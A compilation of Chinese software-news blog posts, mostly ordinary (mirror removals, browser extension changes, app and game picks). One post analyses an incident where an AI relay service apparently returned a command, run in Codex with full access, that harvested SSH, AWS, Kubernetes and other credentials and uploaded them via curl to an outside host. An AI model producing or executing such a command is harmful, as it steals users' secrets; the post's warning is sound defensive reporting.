这些镜像的 rsync 服务已经停止提供。为避免影响用户，对 HTTP(S) 路径的访问将被跳转至 教育网联合镜像站 或各软件对应的上游。我们推荐下游用户及时切换镜像站，以免给您的使用带来不便。

TUNA 镜像站将不定期检视空间利用情况，并可能在未来继续不加通知地移除任何内容。

这次下架的四款开源项目分别是：

Anaconda

一个流行的 Python 数据科学和机器学习 平台，提供包管理、环境管理和大量 科学计算库。

OpenWrt

一个开源的嵌入式 Linux发行版，主要 用于路由器和嵌入式设备，提供灵活的 网络功能和扩展性。

Fluter

Google 推出的开源 UI 工具包，用于 构建跨平台应用（iOS、Android、Web 和桌面）。 * flutter-sdk.git 依旧保留

GitLab EE

GitLab 企业版，提供包括高级安全、 合规、规划等在内的完整 DevOps 平台 解决方案。

原文：https://www.appinn.com/thu-tuna-removed-openwrt-flutter-anaconda-gitlab-ee/

热评：清华大学开源镜像站也买不起硬盘了

替代镜像站

馆长解释说可能不止硬盘，也可能是由于负载过高导致：

推荐各位专为使用校园联合镜像站：https://mirrors.cernet.edu.cn/

为清华降低点服务器压力。

发生了什么？

命令解读

用户在使用中转站时，收到了以上的命令（AI 返回内容），并在拥有完整权限的 Codex 上执行了。

这段命令主要做了三件事：收集运行环境信息、扫描敏感配置文件、将结果发送到远程地址。

具体为：

1. 收集系统信息

读取：

• Node / npm 版本
• 主机名
• 当前用户与权限
• 当前目录
• Linux 内核信息
• 环境变量

用于获取当前运行环境的基本信息。

2. 搜索配置与认证信息

尝试读取：

• cli-proxy-api 配置文件
• config.yaml
• auth-dir 认证目录

同时扫描：

• ~/.ssh/：SSH 密钥与配置
• ~/.aws/：AWS 凭据
• ~/.kube/：Kubernetes 配置
• ~/.docker/：Docker 登录信息
• GitHub CLI 配置
• npm、pip、Cloudflare 等工具配置

这些文件可能包含 API Key、Token、登录凭据等敏感信息。

3. 获取系统运行状态

收集：

• Docker 容器信息
• 当前运行进程
• 网络端口
• systemd 服务
• Shell 历史记录

用于了解当前机器运行了哪些服务。

4. 上传收集结果

命令最后通过：

curl -s -X POST --data-binary @- https://proxy[.]jxtech.store/canary

是否可以确认是“投毒”？

虽然，以上命令有明显的投毒行为，但还有几个问题：

1. 无法确认命令来源

• AI 模型生成；
• 用户编写的提示词诱导 AI 生成；
• 某个插件或自定义模块中的脚本；
• 其他上下文内容触发。

仅凭最终出现的命令，无法证明它一定来自站点后台或服务方。

2. 无法确认执行链路

目前只能看到用户展示的命令内容，无法确认：

• 命令是否真的执行；
• 执行环境是什么；
• 是否完整运行；
• 上传请求是否成功。

所以，留下一个问题：有没有其他用户提供更完整的使用过程，系统提示词、用户指令等内容。

最后，中转站，尤其廉价中转站，请不要对其抱有幻想，默认泄漏 😭

原文：https://www.appinn.com/ai-agent-full-access-security-risk/

2026年6月份，Chrome 151 就彻底终结旧版扩展，现如今 Edge 也开始跟上，也就意味着，uBlock Origin 时代的彻底落幕。

有一说一，当前阶段的 uBlock Origin Lite 扩展，也够用了（青小蛙表示够了，毕竟现在都不用电脑上网了）。只是高级用户依赖的动态规则、自定义过滤能力会有所下降。

接下来会发生什么？

微软说，除了向普通用户及企业用户发送通知之外，在接下来的几个月里，MV2 扩展程序将逐步默认关闭。并会在有可用版本时推荐用户使用 MV3 版本。

这些变更将首先在 Canary、Dev 和 Beta 渠道中推出，并在接下来的几个月内逐步扩展到 Stable 渠道，目标是在 2026 年底前完成面向消费者的过渡。企业版的弃用将于 2027 年初进行。

我们将定期向社区通报推广进展情况。

开发者现在应该做什么

对于仍在维护 MV2 扩展的开发者来说，现在是时候完成向 MV3 的迁移了。

迁移到清单 V3 的概述和时间线

不过微软目前仍未公布 Stable 渠道具体关闭日期，官方时间线依旧标注为“待定”，和两个月前相比，没有发生变化。

但毫无疑问，Manifest Version 2 可以说再见了。

原文：https://www.appinn.com/edge-block-mv3-ublock-origin/

最近10日，来自小众软件论坛的发现频道的热门排行榜，由系统自动生成，直接列出来：

序号	主题
1⃣	Linux Basics for Hackers —— 面向黑客的 Linux 基础课程：中文译本
2⃣	Tessoa – Rust 写的跨平台文件管理器，任意分屏布局，单文件免安装
3⃣	〖开源自荐〗MangoDisk：免费开源的 深度磁盘清理工具，轻量高颜值，支持 macOS 和 Windows
4⃣	声物记–开源、纯本地的语音物品管理+闪念胶囊App[安卓]
5⃣	【开发者自荐】墨方 MoFang，一个单HTML文件的 Markdown 编辑器
6⃣	【开发者自荐】反应速度、记忆力和专注力测试
7⃣	【开发者自荐】一款本地优先、支持源码与可视化双向编辑的开源Markdown 桌面编辑器。
8⃣	【开源自荐】BitFun：桌面端 AI Agent，能在真实代码仓库干活，也能操作浏览器和桌面软件
9⃣	【自荐】SnapFind – 本地离线截图 OCR 文字提取与极速查询工具
	MyAgents 开源本地 Agent – 完全归属你的 Codex/workbuddy 超高完成度 支持多模型多订阅切换

上期回顾

• 发现频道近10日热门排行榜[2026年第31期]

青小蛙的 Windows 11 中，最近被悄悄安装了一个名叫 OneDrive 照片 的应用：

就在老照片应用还在固定位置的同时，与之对应的，还有永远不知道该用哪个版本的 Outlook(new)（你注意到没？你的 Windows 居然装了 3 个 Outlook）。

注意：目前除非完全删除 OneDrive，否则无法从电脑中删除 OneDrive 照片。

OneDrive 照片 / OneDrive Photos 是什么？

青小蛙从 windowslatest 看到说：微软说他们不小心在 Windows 11 中更广泛地发布了由人工智能驱动的 OneDrive 照片应用，这解释了为什么企业 PC（该应用甚至无法运行）现在不得不面对这个问题。

大概从这个月初开始，OneDrive 照片 就开始悄悄出现在大家的 Windows 11 中了，推广到了「几乎所有安装 OneDrive 同步客户端的用户」，如果你也在使用 OneDrive，快看看电脑里有没有

OneDrive 照片会同时显示本地图片与云端图片，比如上图，就是QQ安装文件夹中的表情，也被显示了出来。

这是一个 WebView2 应用，在离线状态下（已登录）占用了 138MB 内存：

设计还算不错，与其他 Windows 11 应用那种用起来卡卡的感觉不太一样，青小蛙觉得，还真不错。

尤其是从不同文件夹进入后显示图片的速度。

目前并不清楚青小蛙这个离线是什么情况，因为左下角是可以看到登录成功的，点击后也能显示账号名称，但就是提示离线。

并且精彩瞬间、人物、相册都不可用。

但是我又在搜索中，搜出了 OneDrive 中的文件

最后，别忘记这货不能单独卸载，现阶段如果你还要使用 OneDrive，就先这样吧，等未来能单独卸载了再说。

原文：https://www.appinn.com/windows-11-onedrive-photos-cannot-uninstall/

开源工具 Castor 提供了一个新的解决方案：它能提取网页中的视频，通过 DLNA / Chromecast / Roku 协议，将网页视频直接投屏到智能电视中播放。

尝试

青小蛙是这样尝试的：

1. 在搜索引擎中找到了一个在线视频网站 https://xxxx.com/play/125695-1-1/
2. 使用 Kodi 充当 DLAN 接收端
3. 通过 Castor 投屏成功 castor cast player https://xxxx.com/play/125695-1-1/

非常简单易用，尤其适合这种在线视频网站，它本身没有 App，虽然可以在浏览器中很好的播放，但智能电视上使用浏览器这件事本身并不友好。

注意：开发者仅提供了 Linux、macOS 以及 Docker 版本，未提供 Windows 版本，不过其使用 Go 语言，跨平台不是问题。

安装 & 使用

Castor 托管在 GitHub，你的电脑上必须先要安装 Chrome / Chromium、ffmpeg、ffprobe，下载后会得到一个可执行的 castor 文件。

扫描电视

将 Castor 放在文件夹中，打开终端，运行：castor scan：

然后在文件夹内创建 config.yaml 文件：

device:
  name: "Kodi (DESKTOP-APPINn)"
  type: dlna

就好了。

投屏

投屏就非常简单了，只需要使用下面的命令，就可以了：

castor cast player https://xxx.com/play/125695-1-1/

这个时候，电视已经在播放视频了。

另外，当你配置了资源库之后，还可以直接给他电影ID，就自动播放，比如：castor cast movie tt1234567

还集成了 Whisper 生成字幕，可以自动生成字幕 > 烧录到视频中 > 投电视上。

感觉还有点酷。

原理

网页地址
   ↓
无头 Chrome 打开网页
   ↓
Chrome DevTools Protocol 监听网络
   ↓
发现真实视频流
   ↓
ffmpeg 处理
   ↓
投送电视

原文：https://www.appinn.com/castor/

感谢 Max 同学的提醒。

SepiaPod 支持通过经典的转盘操作，包括选择歌曲、进入菜单、播放等操作。用过远古 iPod Classic 播放器的同学应该很熟悉操作。

主要功能

• 转盘．触控操作
• 专辑封面显示/列表显示切换
• 进度调整•随机播放•重复播放/歌词显示
• 机身颜色•屏幕主题更改
• 横向显示
• 金属光泽
• 支持主屏幕小组件（仅限iOS17及以上）
• 支持 iPhone 音乐资料库

获取

• App Store

原文：https://www.appinn.com/sepiapod-ipod-classic

昨天在《10 款免费、好用的 GitHub 开源神器》中推荐了一门课程：《Linux Basics for Hackers》，今天 @VrianCao 同学就完成了中文译本，并发布了电子书版本。@Appinn

这门课程源自资深网络安全专家 OccupyTheWeb 出版的《Linux Basics for Hackers》一书的个人学习笔记整理而成，以通俗易懂的语言讲解核心概念、命令与实践示例，简单直接，非常适合初学者学习，内容又详细到真正派得上用场。

刚刚论坛的 VrianCao 同学发布了中文译本：https://meta.appinn.net/t/topic/89438

在 AI 时代翻译一门课程，实在是太简单了。

VrianCao 说他先使用 DeepSeek V4 Flash 进行翻译，然后通过 GPT-5.6 Sol 审校，最后人工抽查，就结束了。

最终发布在 GitHub 上，并提供了 PDF 版本：

另外 VIctoryRoad 同学还整理了 EPUB 格式，方便手机阅读。

课程开头是这样介绍的：

Windows 对你隐藏了很多东西。大多数事情都在幕后发生，而你本不该去关心它们。Linux 则恰恰相反——一切皆可见、一切皆可配置，没有任何东西被锁起来。

整个课程一共18个模块（章节），包括：

• i 《Linux 黑客基础》中文课程讲义（PDF）
• 00 入门与环境搭建
• 01 终端基础
• 02 文本处理
• 03 网络管理
• 04 软件管理
• 05 文件与目录权限
• 06 进程管理
• 07 环境变量
• 08 Bash 脚本编程
• 09 归档与压缩
• 10 文件系统与存储
• 11 日志系统
• 12 服务的使用与滥用
• 13 安全与匿名
• 14 无线网络
• 15 内核与可加载内核模块
• 16 自动化与计划任务
• 17 Python 脚本编程

整个课程非常基础，从终端到底是什么开始介绍，最简单的命令行：

pwd

即 “Print Working Directory”（打印当前工作目录）。告诉你此刻在文件系统中的确切位置。

pwd

输出示例：

/home/kali

你正位于 kali 文件夹中、home 之内、系统根目录之下。迷路时就用它。

ls

即 “List”（列出）。显示当前文件夹里有什么。

ls

输出示例：

Desktop
Documents
Downloads
Pictures

实用的变体：

Linux 中的隐藏文件以点开头——比如 .bashrc 或 .config。普通的 ls 看不到它们。需要查看全部内容时就用 ls -la，你会经常用到它。

另外，再次推荐一下青小蛙写过的：终端（Terminal）、TTY 和 Shell，还有 SSH，一次搞懂它们到底是什么？

为什么要学习 Linux 基础知识？

当然是因为在 AI 时代，太多的资源都位于 Linux 之上，想要搞明白 AI，必然需要一点点的 Linux 基础知识…

当然你可以说我能让 AI 操作 Linux 系统。

的确可以这样。

但是，你至少能把 AI Agent 安装到 Linux 之上吧，这件事本身其实有一点点难度的。

而对于非初学者

可以把这个课程当做一个词典，需要的时候查询一下即可。

原文：https://www.appinn.com/linux-basics-for-hackers/

《Beacon Pines》无中文

《Beacon Pines》是一款以神秘绘本为舞台的叙事冒险游戏。玩家同时扮演故事中的主角 Luka 和阅读这本书的读者，在小镇中调查异常事件。游戏的核心机制是收集带有不同词语的“护符”，在故事关键节点填入词语，从而改变后续剧情，并在不同故事分支之间往返寻找真相。

画风看起来萌萌的，故事却藏着不少诡异气息，喜欢剧情、探索和多结局路线的可以收。

• 最近评测：特别好评 (46)
• 所有评测：好评如潮 (3,005)
• 发行日期：2022 年 9 月 22 日
• RPG Fan：80 / 100
• TrueAchievements：8 / 10
• Shacknews：9 / 10

限免地址：https://store.epicgames.com/zh-CN/p/beacon-pines-629fc3

《我们曾在这里 / We Were Here Together》

《We Were Here Together》是一款专门为两名玩家设计的在线合作解谜游戏。两名玩家从南极研究基地出发，随后进入神秘的 Castle Rock 城堡，在经常无法看到彼此所处环境的情况下，通过对讲机交换信息、描述线索并合作完成谜题。游戏仅支持双人合作，需要两位玩家联网并使用麦克风。

属于非常典型的“友情检测器”，找个沟通靠谱的队友再开坑，会省不少血压。

• 最近评测：多半好评 (94)
• 简体中文评测：褒贬不一 (1,884)
• 发行日期：2019 年 10 月 10 日
• 是否支持中文：是

限免地址：https://store.epicgames.com/zh-CN/p/we-were-here-together-6a6d66

手机游戏

《巴别号漫游指南》

《巴别号漫游指南》是一款以“蝴蝶效应”为核心机制的剧情解谜冒险游戏。玩家登上一艘驶向来世的神秘巨轮“巴别号”，利用特殊的笔修改过去发生的事件，从而改变其他角色之后的命运。游戏还包含证据收集与推理系统，不同角色的故事会彼此交织并相互影响。

手绘画风挺讨喜，剧情、推理和改写时间线揉在一起，喜欢点触式解谜的可以直接领。

• Steam 总体评价：特别好评（92% 好评，863 篇评测）
• Steam 最近评价：特别好评（81% 好评，11 篇评测）
• 是否支持中文：是

限免地址（可直接领取）：

• Android：https://store.epicgames.com/zh-CN/p/a-guidebook-of-babel-android-381952
• iOS：https://store.epicgames.com/zh-CN/p/a-guidebook-of-babel-ios-31c4fd

原文：https://www.appinn.com/eggs-2687/

打开 BatteryHealth 后立即读取 Windows Battery Class Driver 信息，显示健康度：

还可以查看到：

• 电池名称
• 制造商
• 设计容量
• 当前满容容量
• 损耗
• 循环次数当前电量

等信息。

适用于 Windows 10 / 11，使用系统自带的 .NET Framework 4.8。

主打一个方便，即下即用即抛。

注意，该工具获得的电池信息，与微软官方提供的方式《在 Windows 中关爱电池》是相同的，即：

在命令提示符下，键入 powercfg /batteryreport，然后按 Enter。电池报告将是存储在电脑上的文件夹中的 HTML 文件。 文件位置将显示在命令提示符窗口中。

获取

• GitHub
• 夸克｜百度｜123｜城通

原文：https://www.appinn.com/batteryhealth/